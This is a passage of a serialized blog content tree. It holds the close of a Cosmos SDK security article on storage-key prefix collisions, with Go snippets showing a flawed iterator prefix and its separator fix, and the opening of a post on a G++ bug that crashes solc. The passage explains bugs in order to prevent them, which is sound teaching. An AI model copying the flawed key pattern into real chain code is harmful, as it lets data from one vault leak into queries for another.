children":90640},{"class":92,"line":669},[90641],{"type":24,"tag":90,"props":90642,"children":90643},{"emptyLinePlaceholder":16},[90644],{"type":29,"value":245},{"type":24,"tag":90,"props":90646,"children":90647},{"class":92,"line":683},[90648,90653,90657,90661,90665,90669,90673,90677,90681,90685,90689,90693,90697,90701],{"type":24,"tag":90,"props":90649,"children":90650},{"style":136},[90651],{"type":29,"value":90652}," positionName",{"type":24,"tag":90,"props":90654,"children":90655},{"style":120},[90656],{"type":29,"value":78246},{"type":24,"tag":90,"props":90658,"children":90659},{"style":108},[90660],{"type":29,"value":87394},{"type":24,"tag":90,"props":90662,"children":90663},{"style":114},[90664],{"type":29,"value":90484},{"type":24,"tag":90,"props":90666,"children":90667},{"style":146},[90668],{"type":29,"value":86595},{"type":24,"tag":90,"props":90670,"children":90671},{"style":114},[90672],{"type":29,"value":133},{"type":24,"tag":90,"props":90674,"children":90675},{"style":136},[90676],{"type":29,"value":87467},{"type":24,"tag":90,"props":90678,"children":90679},{"style":114},[90680],{"type":29,"value":226},{"type":24,"tag":90,"props":90682,"children":90683},{"style":108},[90684],{"type":29,"value":90505},{"type":24,"tag":90,"props":90686,"children":90687},{"style":114},[90688],{"type":29,"value":117},{"type":24,"tag":90,"props":90690,"children":90691},{"style":136},[90692],{"type":29,"value":90514},{"type":24,"tag":90,"props":90694,"children":90695},{"style":114},[90696],{"type":29,"value":719},{"type":24,"tag":90,"props":90698,"children":90699},{"style":349},[90700],{"type":29,"value":534},{"type":24,"tag":90,"props":90702,"children":90703},{"style":114},[90704],{"type":29,"value":90527},{"type":24,"tag":90,"props":90706,"children":90707},{"class":92,"line":737},[90708,90712,90716,90720,90724,90728,90732,90736,90740,90744,90748,90752,90756,90760],{"type":24,"tag":90,"props":90709,"children":90710},{"style":136},[90711],{"type":29,"value":29557},{"type":24,"tag":90,"props":90713,"children":90714},{"style":114},[90715],{"type":29,"value":133},{"type":24,"tag":90,"props":90717,"children":90718},{"style":136},[90719],{"type":29,"value":50243},{"type":24,"tag":90,"props":90721,"children":90722},{"style":120},[90723],{"type":29,"value":78246},{"type":24,"tag":90,"props":90725,"children":90726},{"style":136},[90727],{"type":29,"value":90551},{"type":24,"tag":90,"props":90729,"children":90730},{"style":114},[90731],{"type":29,"value":226},{"type":24,"tag":90,"props":90733,"children":90734},{"style":108},[90735],{"type":29,"value":90560},{"type":24,"tag":90,"props":90737,"children":90738},{"style":114},[90739],{"type":29,"value":117},{"type":24,"tag":90,"props":90741,"children":90742},{"style":136},[90743],{"type":29,"value":87570},{"type":24,"tag":90,"props":90745,"children":90746},{"style":114},[90747],{"type":29,"value":133},{"type":24,"tag":90,"props":90749,"children":90750},{"style":136},[90751],{"type":29,"value":90514},{"type":24,"tag":90,"props":90753,"children":90754},{"style":114},[90755],{"type":29,"value":719},{"type":24,"tag":90,"props":90757,"children":90758},{"style":349},[90759],{"type":29,"value":534},{"type":24,"tag":90,"props":90761,"children":90762},{"style":114},[90763],{"type":29,"value":57265},{"type":24,"tag":90,"props":90765,"children":90766},{"class":92,"line":751},[90767,90771,90775,90779,90783],{"type":24,"tag":90,"props":90768,"children":90769},{"style":636},[90770],{"type":29,"value":5667},{"type":24,"tag":90,"props":90772,"children":90773},{"style":136},[90774],{"type":29,"value":50344},{"type":24,"tag":90,"props":90776,"children":90777},{"style":120},[90778],{"type":29,"value":66213},{"type":24,"tag":90,"props":90780,"children":90781},{"style":97},[90782],{"type":29,"value":83748},{"type":24,"tag":90,"props":90784,"children":90785},{"style":114},[90786],{"type":29,"value":269},{"type":24,"tag":90,"props":90788,"children":90789},{"class":92,"line":782},[90790,90794,90798,90802],{"type":24,"tag":90,"props":90791,"children":90792},{"style":636},[90793],{"type":29,"value":80906},{"type":24,"tag":90,"props":90795,"children":90796},{"style":97},[90797],{"type":29,"value":83748},{"type":24,"tag":90,"props":90799,"children":90800},{"style":114},[90801],{"type":29,"value":133},{"type":24,"tag":90,"props":90803,"children":90804},{"style":136},[90805],{"type":29,"value":85469},{"type":24,"tag":90,"props":90807,"children":90808},{"class":92,"line":791},[90809],{"type":24,"tag":90,"props":90810,"children":90811},{"style":114},[90812],{"type":29,"value":5740},{"type":24,"tag":90,"props":90814,"children":90815},{"class":92,"line":799},[90816],{"type":24,"tag":90,"props":90817,"children":90818},{"emptyLinePlaceholder":16},[90819],{"type":29,"value":245},{"type":24,"tag":90,"props":90821,"children":90822},{"class":92,"line":807},[90823,90827,90831,90835,90839,90843,90848,90852,90856,90861,90865,90869],{"type":24,"tag":90,"props":90824,"children":90825},{"style":636},[90826],{"type":29,"value":5667},{"type":24,"tag":90,"props":90828,"children":90829},{"style":136},[90830],{"type":29,"value":64468},{"type":24,"tag":90,"props":90832,"children":90833},{"style":114},[90834],{"type":29,"value":133},{"type":24,"tag":90,"props":90836,"children":90837},{"style":136},[90838],{"type":29,"value":80597},{"type":24,"tag":90,"props":90840,"children":90841},{"style":120},[90842],{"type":29,"value":78246},{"type":24,"tag":90,"props":90844,"children":90845},{"style":136},[90846],{"type":29,"value":90847}," values",{"type":24,"tag":90,"props":90849,"children":90850},{"style":114},[90851],{"type":29,"value":719},{"type":24,"tag":90,"props":90853,"children":90854},{"style":136},[90855],{"type":29,"value":87301},{"type":24,"tag":90,"props":90857,"children":90858},{"style":114},[90859],{"type":29,"value":90860},"]; ",{"type":24,"tag":90,"props":90862,"children":90863},{"style":120},[90864],{"type":29,"value":22417},{"type":24,"tag":90,"props":90866,"children":90867},{"style":136},[90868],{"type":29,"value":80597},{"type":24,"tag":90,"props":90870,"children":90871},{"style":114},[90872],{"type":29,"value":269},{"type":24,"tag":90,"props":90874,"children":90875},{"class":92,"line":821},[90876,90881,90885,90889,90893,90897,90901,90905,90909,90913,90917],{"type":24,"tag":90,"props":90877,"children":90878},{"style":136},[90879],{"type":29,"value":90880}," values",{"type":24,"tag":90,"props":90882,"children":90883},{"style":114},[90884],{"type":29,"value":719},{"type":24,"tag":90,"props":90886,"children":90887},{"style":136},[90888],{"type":29,"value":87301},{"type":24,"tag":90,"props":90890,"children":90891},{"style":114},[90892],{"type":29,"value":11037},{"type":24,"tag":90,"props":90894,"children":90895},{"style":120},[90896],{"type":29,"value":5491},{"type":24,"tag":90,"props":90898,"children":90899},{"style":108},[90900],{"type":29,"value":87394},{"type":24,"tag":90,"props":90902,"children":90903},{"style":114},[90904],{"type":29,"value":117},{"type":24,"tag":90,"props":90906,"children":90907},{"style":97},[90908],{"type":29,"value":68929},{"type":24,"tag":90,"props":90910,"children":90911},{"style":114},[90912],{"type":29,"value":719},{"type":24,"tag":90,"props":90914,"children":90915},{"style":146},[90916],{"type":29,"value":86999},{"type":24,"tag":90,"props":90918,"children":90919},{"style":114},[90920],{"type":29,"value":57265},{"type":24,"tag":90,"props":90922,"children":90923},{"class":92,"line":6278},[90924],{"type":24,"tag":90,"props":90925,"children":90926},{"style":114},[90927],{"type":29,"value":5740},{"type":24,"tag":90,"props":90929,"children":90930},{"class":92,"line":11420},[90931],{"type":24,"tag":90,"props":90932,"children":90933},{"emptyLinePlaceholder":16},[90934],{"type":29,"value":245},{"type":24,"tag":90,"props":90936,"children":90937},{"class":92,"line":11438},[90938,90943,90947,90951,90955,90959,90963,90967,90971],{"type":24,"tag":90,"props":90939,"children":90940},{"style":136},[90941],{"type":29,"value":90942}," values",{"type":24,"tag":90,"props":90944,"children":90945},{"style":114},[90946],{"type":29,"value":719},{"type":24,"tag":90,"props":90948,"children":90949},{"style":136},[90950],{"type":29,"value":87301},{"type":24,"tag":90,"props":90952,"children":90953},{"style":114},[90954],{"type":29,"value":50781},{"type":24,"tag":90,"props":90956,"children":90957},{"style":136},[90958],{"type":29,"value":87570},{"type":24,"tag":90,"props":90960,"children":90961},{"style":114},[90962],{"type":29,"value":11037},{"type":24,"tag":90,"props":90964,"children":90965},{"style":120},[90966],{"type":29,"value":5491},{"type":24,"tag":90,"props":90968,"children":90969},{"style":136},[90970],{"type":29,"value":9806},{"type":24,"tag":90,"props":90972,"children":90973},{"style":114},[90974],{"type":29,"value":269},{"type":24,"tag":90,"props":90976,"children":90977},{"class":92,"line":11483},[90978,90982,90986,90991,90995,91000],{"type":24,"tag":90,"props":90979,"children":90980},{"style":136},[90981],{"type":29,"value":28760},{"type":24,"tag":90,"props":90983,"children":90984},{"style":114},[90985],{"type":29,"value":1833},{"type":24,"tag":90,"props":90987,"children":90988},{"style":136},[90989],{"type":29,"value":90990},"iterator",{"type":24,"tag":90,"props":90992,"children":90993},{"style":114},[90994],{"type":29,"value":226},{"type":24,"tag":90,"props":90996,"children":90997},{"style":108},[90998],{"type":29,"value":90999},"Value",{"type":24,"tag":90,"props":91001,"children":91002},{"style":114},[91003],{"type":29,"value":1384},{"type":24,"tag":90,"props":91005,"children":91006},{"class":92,"line":11589},[91007],{"type":24,"tag":90,"props":91008,"children":91009},{"style":114},[91010],{"type":29,"value":5740},{"type":24,"tag":90,"props":91012,"children":91013},{"class":92,"line":25306},[91014],{"type":24,"tag":90,"props":91015,"children":91016},{"style":114},[91017],{"type":29,"value":612},{"type":24,"tag":90,"props":91019,"children":91020},{"class":92,"line":25341},[91021,91025],{"type":24,"tag":90,"props":91022,"children":91023},{"style":636},[91024],{"type":29,"value":3510},{"type":24,"tag":90,"props":91026,"children":91027},{"style":136},[91028],{"type":29,"value":91029}," values\n",{"type":24,"tag":90,"props":91031,"children":91032},{"class":92,"line":25349},[91033],{"type":24,"tag":90,"props":91034,"children":91035},{"style":114},[91036],{"type":29,"value":827},{"type":24,"tag":25,"props":91038,"children":91039},{},[91040,91042,91048,91049,91055,91057,91062,91064,91069,91071,91076,91078,91084,91086,91092],{"type":29,"value":91041},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":32,"props":91043,"children":91045},{"className":91044},[],[91046],{"type":29,"value":91047},"vaultId = 1",{"type":29,"value":13360},{"type":24,"tag":32,"props":91050,"children":91052},{"className":91051},[],[91053],{"type":29,"value":91054},"vaultId = 10",{"type":29,"value":91056}," coexist. If we try to fetch data under ",{"type":24,"tag":32,"props":91058,"children":91060},{"className":91059},[],[91061],{"type":29,"value":91047},{"type":29,"value":91063},", all entries under ",{"type":24,"tag":32,"props":91065,"children":91067},{"className":91066},[],[91068],{"type":29,"value":91054},{"type":29,"value":91070}," will also be returned simply because ",{"type":24,"tag":32,"props":91072,"children":91074},{"className":91073},[],[91075],{"type":29,"value":534},{"type":29,"value":91077}," is a prefix of ",{"type":24,"tag":32,"props":91079,"children":91081},{"className":91080},[],[91082],{"type":29,"value":91083},"10",{"type":29,"value":91085},". To fix this, we must once again append the ",{"type":24,"tag":32,"props":91087,"children":91089},{"className":91088},[],[91090],{"type":29,"value":91091},"Separator",{"type":29,"value":91093}," to the iterator prefix.",{"type":24,"tag":80,"props":91095,"children":91097},{"code":91096,"language":77994,"meta":7,"className":77995,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[91098],{"type":24,"tag":32,"props":91099,"children":91100},{"__ignoreMap":7},[91101,91128,91140,91193],{"type":24,"tag":90,"props":91102,"children":91103},{"class":92,"line":93},[91104,91108,91112,91116,91120,91124],{"type":24,"tag":90,"props":91105,"children":91106},{"style":136},[91107],{"type":29,"value":6123},{"type":24,"tag":90,"props":91109,"children":91110},{"style":120},[91111],{"type":29,"value":78246},{"type":24,"tag":90,"props":91113,"children":91114},{"style":136},[91115],{"type":29,"value":80471},{"type":24,"tag":90,"props":91117,"children":91118},{"style":114},[91119],{"type":29,"value":226},{"type":24,"tag":90,"props":91121,"children":91122},{"style":108},[91123],{"type":29,"value":90286},{"type":24,"tag":90,"props":91125,"children":91126},{"style":114},[91127],{"type":29,"value":680},{"type":24,"tag":90,"props":91129,"children":91130},{"class":92,"line":200},[91131,91136],{"type":24,"tag":90,"props":91132,"children":91133},{"style":136},[91134],{"type":29,"value":91135}," kvStore",{"type":24,"tag":90,"props":91137,"children":91138},{"style":114},[91139],{"type":29,"value":748},{"type":24,"tag":90,"props":91141,"children":91142},{"class":92,"line":239},[91143,91148,91152,91156,91160,91165,91169,91173,91177,91181,91185,91189],{"type":24,"tag":90,"props":91144,"children":91145},{"style":136},[91146],{"type":29,"value":91147}," fmt",{"type":24,"tag":90,"props":91149,"children":91150},{"style":114},[91151],{"type":29,"value":226},{"type":24,"tag":90,"props":91153,"children":91154},{"style":108},[91155],{"type":29,"value":87053},{"type":24,"tag":90,"props":91157,"children":91158},{"style":114},[91159],{"type":29,"value":117},{"type":24,"tag":90,"props":91161,"children":91162},{"style":1085},[91163],{"type":29,"value":91164},"\"%s%d%s\"",{"type":24,"tag":90,"props":91166,"children":91167},{"style":114},[91168],{"type":29,"value":133},{"type":24,"tag":90,"props":91170,"children":91171},{"style":136},[91172],{"type":29,"value":90336},{"type":24,"tag":90,"props":91174,"children":91175},{"style":114},[91176],{"type":29,"value":133},{"type":24,"tag":90,"props":91178,"children":91179},{"style":136},[91180],{"type":29,"value":90121},{"type":24,"tag":90,"props":91182,"children":91183},{"style":114},[91184],{"type":29,"value":133},{"type":24,"tag":90,"props":91186,"children":91187},{"style":136},[91188],{"type":29,"value":90452},{"type":24,"tag":90,"props":91190,"children":91191},{"style":114},[91192],{"type":29,"value":779},{"type":24,"tag":90,"props":91194,"children":91195},{"class":92,"line":248},[91196],{"type":24,"tag":90,"props":91197,"children":91198},{"style":114},[91199],{"type":29,"value":1686},{"type":24,"tag":25,"props":91201,"children":91202},{},[91203,91205,91210],{"type":29,"value":91204},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":32,"props":91206,"children":91208},{"className":91207},[],[91209],{"type":29,"value":86807},{"type":29,"value":91211}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":91213,"children":91214},{},[91215],{"type":29,"value":91216},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":1019,"props":91218,"children":91220},{"id":91219},"real-world-examples-5",[91221],{"type":29,"value":78519},{"type":24,"tag":25,"props":91223,"children":91224},{},[91225,91226,91231,91233,91240,91242,91248],{"type":29,"value":3131},{"type":24,"tag":32,"props":91227,"children":91229},{"className":91228},[],[91230],{"type":29,"value":80292},{"type":29,"value":91232}," previously lacked protection against KVStore ",{"type":24,"tag":69,"props":91234,"children":91237},{"href":91235,"rel":91236},"https://github.com/cosmos/cosmos-sdk/pull/9363",[73],[91238],{"type":29,"value":91239},"key collisions",{"type":29,"value":91241},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":32,"props":91243,"children":91245},{"className":91244},[],[91246],{"type":29,"value":91247},"KVStores",{"type":29,"value":91249}," that were not independent of each other.",{"type":24,"tag":25,"props":91251,"children":91252},{},[91253],{"type":24,"tag":69,"props":91254,"children":91257},{"href":91255,"rel":91256},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[73],[91258],{"type":29,"value":78569},{"type":24,"tag":80,"props":91260,"children":91262},{"code":91261,"language":77994,"meta":7,"className":77995,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[91263],{"type":24,"tag":32,"props":91264,"children":91265},{"__ignoreMap":7},[91266,91328,91376,91412,91452,91459,91466,91478],{"type":24,"tag":90,"props":91267,"children":91268},{"class":92,"line":93},[91269,91273,91278,91282,91287,91291,91295,91299,91303,91307,91311,91315,91319,91324],{"type":24,"tag":90,"props":91270,"children":91271},{"style":97},[91272],{"type":29,"value":78130},{"type":24,"tag":90,"props":91274,"children":91275},{"style":108},[91276],{"type":29,"value":91277}," NewKVStoreKeys",{"type":24,"tag":90,"props":91279,"children":91280},{"style":114},[91281],{"type":29,"value":117},{"type":24,"tag":90,"props":91283,"children":91284},{"style":136},[91285],{"type":29,"value":91286},"names",{"type":24,"tag":90,"props":91288,"children":91289},{"style":120},[91290],{"type":29,"value":27108},{"type":24,"tag":90,"props":91292,"children":91293},{"style":146},[91294],{"type":29,"value":31478},{"type":24,"tag":90,"props":91296,"children":91297},{"style":114},[91298],{"type":29,"value":172},{"type":24,"tag":90,"props":91300,"children":91301},{"style":97},[91302],{"type":29,"value":68929},{"type":24,"tag":90,"props":91304,"children":91305},{"style":114},[91306],{"type":29,"value":719},{"type":24,"tag":90,"props":91308,"children":91309},{"style":146},[91310],{"type":29,"value":31478},{"type":24,"tag":90,"props":91312,"children":91313},{"style":114},[91314],{"type":29,"value":1914},{"type":24,"tag":90,"props":91316,"children":91317},{"style":120},[91318],{"type":29,"value":983},{"type":24,"tag":90,"props":91320,"children":91321},{"style":146},[91322],{"type":29,"value":91323},"KVStoreKey",{"type":24,"tag":90,"props":91325,"children":91326},{"style":114},[91327],{"type":29,"value":269},{"type":24,"tag":90,"props":91329,"children":91330},{"class":92,"line":200},[91331,91336,91340,91344,91348,91352,91356,91360,91364,91368,91372],{"type":24,"tag":90,"props":91332,"children":91333},{"style":136},[91334],{"type":29,"value":91335}," keys",{"type":24,"tag":90,"props":91337,"children":91338},{"style":120},[91339],{"type":29,"value":78246},{"type":24,"tag":90,"props":91341,"children":91342},{"style":108},[91343],{"type":29,"value":87394},{"type":24,"tag":90,"props":91345,"children":91346},{"style":114},[91347],{"type":29,"value":117},{"type":24,"tag":90,"props":91349,"children":91350},{"style":97},[91351],{"type":29,"value":68929},{"type":24,"tag":90,"props":91353,"children":91354},{"style":114},[91355],{"type":29,"value":719},{"type":24,"tag":90,"props":91357,"children":91358},{"style":146},[91359],{"type":29,"value":31478},{"type":24,"tag":90,"props":91361,"children":91362},{"style":114},[91363],{"type":29,"value":1914},{"type":24,"tag":90,"props":91365,"children":91366},{"style":120},[91367],{"type":29,"value":983},{"type":24,"tag":90,"props":91369,"children":91370},{"style":146},[91371],{"type":29,"value":91323},{"type":24,"tag":90,"props":91373,"children":91374},{"style":114},[91375],{"type":29,"value":1686},{"type":24,"tag":90,"props":91377,"children":91378},{"class":92,"line":239},[91379,91383,91387,91391,91395,91399,91403,91408],{"type":24,"tag":90,"props":91380,"children":91381},{"style":636},[91382],{"type":29,"value":5434},{"type":24,"tag":90,"props":91384,"children":91385},{"style":136},[91386],{"type":29,"value":3990},{"type":24,"tag":90,"props":91388,"children":91389},{"style":114},[91390],{"type":29,"value":133},{"type":24,"tag":90,"props":91392,"children":91393},{"style":136},[91394],{"type":29,"value":50321},{"type":24,"tag":90,"props":91396,"children":91397},{"style":120},[91398],{"type":29,"value":78246},{"type":24,"tag":90,"props":91400,"children":91401},{"style":636},[91402],{"type":29,"value":79229},{"type":24,"tag":90,"props":91404,"children":91405},{"style":136},[91406],{"type":29,"value":91407}," names",{"type":24,"tag":90,"props":91409,"children":91410},{"style":114},[91411],{"type":29,"value":269},{"type":24,"tag":90,"props":91413,"children":91414},{"class":92,"line":248},[91415,91419,91423,91427,91431,91435,91440,91444,91448],{"type":24,"tag":90,"props":91416,"children":91417},{"style":136},[91418],{"type":29,"value":27140},{"type":24,"tag":90,"props":91420,"children":91421},{"style":114},[91422],{"type":29,"value":719},{"type":24,"tag":90,"props":91424,"children":91425},{"style":136},[91426],{"type":29,"value":50321},{"type":24,"tag":90,"props":91428,"children":91429},{"style":114},[91430],{"type":29,"value":11037},{"type":24,"tag":90,"props":91432,"children":91433},{"style":120},[91434],{"type":29,"value":5491},{"type":24,"tag":90,"props":91436,"children":91437},{"style":108},[91438],{"type":29,"value":91439}," NewKVStoreKey",{"type":24,"tag":90,"props":91441,"children":91442},{"style":114},[91443],{"type":29,"value":117},{"type":24,"tag":90,"props":91445,"children":91446},{"style":136},[91447],{"type":29,"value":50321},{"type":24,"tag":90,"props":91449,"children":91450},{"style":114},[91451],{"type":29,"value":1686},{"type":24,"tag":90,"props":91453,"children":91454},{"class":92,"line":258},[91455],{"type":24,"tag":90,"props":91456,"children":91457},{"style":114},[91458],{"type":29,"value":612},{"type":24,"tag":90,"props":91460,"children":91461},{"class":92,"line":272},[91462],{"type":24,"tag":90,"props":91463,"children":91464},{"emptyLinePlaceholder":16},[91465],{"type":29,"value":245},{"type":24,"tag":90,"props":91467,"children":91468},{"class":92,"line":281},[91469,91473],{"type":24,"tag":90,"props":91470,"children":91471},{"style":636},[91472],{"type":29,"value":3510},{"type":24,"tag":90,"props":91474,"children":91475},{"style":136},[91476],{"type":29,"value":91477}," keys\n",{"type":24,"tag":90,"props":91479,"children":91480},{"class":92,"line":384},[91481],{"type":24,"tag":90,"props":91482,"children":91483},{"style":114},[91484],{"type":29,"value":827},{"type":24,"tag":25,"props":91486,"children":91487},{},[91488,91490,91495,91497,91502,91504,91509],{"type":29,"value":91489},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":32,"props":91491,"children":91493},{"className":91492},[],[91494],{"type":29,"value":80292},{"type":29,"value":91496}," will refuse to run if any ",{"type":24,"tag":32,"props":91498,"children":91500},{"className":91499},[],[91501],{"type":29,"value":86807},{"type":29,"value":91503}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":32,"props":91505,"children":91507},{"className":91506},[],[91508],{"type":29,"value":86807},{"type":29,"value":91510}," level.",{"type":24,"tag":25,"props":91512,"children":91513},{},[91514,91516,91523],{"type":29,"value":91515},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":69,"props":91517,"children":91520},{"href":91518,"rel":91519},"https://github.com/cosmos/cosmos-sdk/issues/12661",[73],[91521],{"type":29,"value":91522},"incorrect iterator behavior",{"type":29,"value":226},{"type":24,"tag":25,"props":91525,"children":91526},{},[91527,91529,91536],{"type":29,"value":91528},"Notably, gradual adoption of the ",{"type":24,"tag":69,"props":91530,"children":91533},{"href":91531,"rel":91532},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[73],[91534],{"type":29,"value":91535},"collections",{"type":29,"value":91537}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":850,"props":91539,"children":91540},{"id":30743},[91541],{"type":29,"value":20741},{"type":24,"tag":25,"props":91543,"children":91544},{},[91545],{"type":29,"value":91546},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":91548,"children":91549},{},[91550],{"type":29,"value":91551},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":5249,"props":91553,"children":91554},{},[91555],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":91557},[91558,91559,91562,91565,91568,91571,91574,91577],{"id":30826,"depth":200,"text":30829},{"id":77711,"depth":200,"text":77714,"children":91560},[91561],{"id":78516,"depth":239,"text":78519},{"id":79112,"depth":200,"text":79115,"children":91563},[91564],{"id":79761,"depth":239,"text":78519},{"id":80258,"depth":200,"text":80261,"children":91566},[91567],{"id":81558,"depth":239,"text":78519},{"id":82902,"depth":200,"text":82905,"children":91569},[91570],{"id":83440,"depth":239,"text":78519},{"id":84959,"depth":200,"text":84962,"children":91572},[91573],{"id":85839,"depth":239,"text":78519},{"id":86793,"depth":200,"text":86796,"children":91575},[91576],{"id":91219,"depth":239,"text":78519},{"id":30743,"depth":200,"text":20741},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91582,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91583,"description":91584,"author":91585,"image":91586,"date":91588,"tags":91589,"isFeatured":16,"onBlogPage":16,"body":91590,"_type":5270,"_id":94299,"_source":5272,"_file":94300,"_stem":94301,"_extension":5275},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":91587,"height":14,"width":14},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[6860,30821],{"type":21,"children":91591,"toc":94283},[91592,91597,91734,91739,91744,91749,91754,91867,91872,91877,91882,91922,91935,91940,91958,91963,91966,91972,91986,91999,92004,92017,92022,92034,92047,92052,92055,92061,92067,92124,92129,92135,92149,92184,92192,92200,92220,92226,92231,92671,92679,92723,92728,92736,92744,92783,92788,92796,92801,92804,92810,92816,92841,92853,92880,92913,92918,92921,92927,92946,93464,93477,93495,93518,93529,93534,93637,93642,93647,93661,93666,93742,93760,93765,93768,93774,93786,93798,94138,94143,94161,94166,94169,94175,94180,94198,94218,94221,94227,94246,94249,94253,94258,94269,94274,94279],{"type":24,"tag":25,"props":91593,"children":91594},{},[91595],{"type":29,"value":91596},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":80,"props":91598,"children":91600},{"code":91599,"language":6860,"meta":7,"className":6861,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[91601],{"type":24,"tag":32,"props":91602,"children":91603},{"__ignoreMap":7},[91604,91612,91630,91637,91654,91696,91720,91727],{"type":24,"tag":90,"props":91605,"children":91606},{"class":92,"line":93},[91607],{"type":24,"tag":90,"props":91608,"children":91609},{"style":252},[91610],{"type":29,"value":91611},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":90,"props":91613,"children":91614},{"class":92,"line":200},[91615,91620,91625],{"type":24,"tag":90,"props":91616,"children":91617},{"style":636},[91618],{"type":29,"value":91619},"pragma",{"type":24,"tag":90,"props":91621,"children":91622},{"style":97},[91623],{"type":29,"value":91624}," solidity",{"type":24,"tag":90,"props":91626,"children":91627},{"style":114},[91628],{"type":29,"value":91629}," ^0.8.25;\n",{"type":24,"tag":90,"props":91631,"children":91632},{"class":92,"line":239},[91633],{"type":24,"tag":90,"props":91634,"children":91635},{"emptyLinePlaceholder":16},[91636],{"type":29,"value":245},{"type":24,"tag":90,"props":91638,"children":91639},{"class":92,"line":248},[91640,91645,91650],{"type":24,"tag":90,"props":91641,"children":91642},{"style":97},[91643],{"type":29,"value":91644},"contract",{"type":24,"tag":90,"props":91646,"children":91647},{"style":146},[91648],{"type":29,"value":91649}," A",{"type":24,"tag":90,"props":91651,"children":91652},{"style":114},[91653],{"type":29,"value":269},{"type":24,"tag":90,"props":91655,"children":91656},{"class":92,"line":258},[91657,91662,91667,91671,91675,91680,91684,91688,91692],{"type":24,"tag":90,"props":91658,"children":91659},{"style":97},[91660],{"type":29,"value":91661}," function",{"type":24,"tag":90,"props":91663,"children":91664},{"style":108},[91665],{"type":29,"value":91666}," a",{"type":24,"tag":90,"props":91668,"children":91669},{"style":114},[91670],{"type":29,"value":495},{"type":24,"tag":90,"props":91672,"children":91673},{"style":97},[91674],{"type":29,"value":63501},{"type":24,"tag":90,"props":91676,"children":91677},{"style":97},[91678],{"type":29,"value":91679}," pure",{"type":24,"tag":90,"props":91681,"children":91682},{"style":636},[91683],{"type":29,"value":77823},{"type":24,"tag":90,"props":91685,"children":91686},{"style":114},[91687],{"type":29,"value":1151},{"type":24,"tag":90,"props":91689,"children":91690},{"style":146},[91691],{"type":29,"value":47990},{"type":24,"tag":90,"props":91693,"children":91694},{"style":114},[91695],{"type":29,"value":1297},{"type":24,"tag":90,"props":91697,"children":91698},{"class":92,"line":272},[91699,91703,91707,91712,91716],{"type":24,"tag":90,"props":91700,"children":91701},{"style":636},[91702],{"type":29,"value":2253},{"type":24,"tag":90,"props":91704,"children":91705},{"style":349},[91706],{"type":29,"value":6909},{"type":24,"tag":90,"props":91708,"children":91709},{"style":120},[91710],{"type":29,"value":91711}," **",{"type":24,"tag":90,"props":91713,"children":91714},{"style":349},[91715],{"type":29,"value":10312},{"type":24,"tag":90,"props":91717,"children":91718},{"style":114},[91719],{"type":29,"value":381},{"type":24,"tag":90,"props":91721,"children":91722},{"class":92,"line":281},[91723],{"type":24,"tag":90,"props":91724,"children":91725},{"style":114},[91726],{"type":29,"value":612},{"type":24,"tag":90,"props":91728,"children":91729},{"class":92,"line":384},[91730],{"type":24,"tag":90,"props":91731,"children":91732},{"style":114},[91733],{"type":29,"value":827},{"type":24,"tag":25,"props":91735,"children":91736},{},[91737],{"type":29,"value":91738},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":91740,"children":91741},{},[91742],{"type":29,"value":91743},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":91745,"children":91746},{},[91747],{"type":29,"value":91748},"And yet, it crashes.",{"type":24,"tag":25,"props":91750,"children":91751},{},[91752],{"type":29,"value":91753},"Another minimal example?",{"type":24,"tag":80,"props":91755,"children":91757},{"code":91756,"language":6860,"meta":7,"className":6861,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n 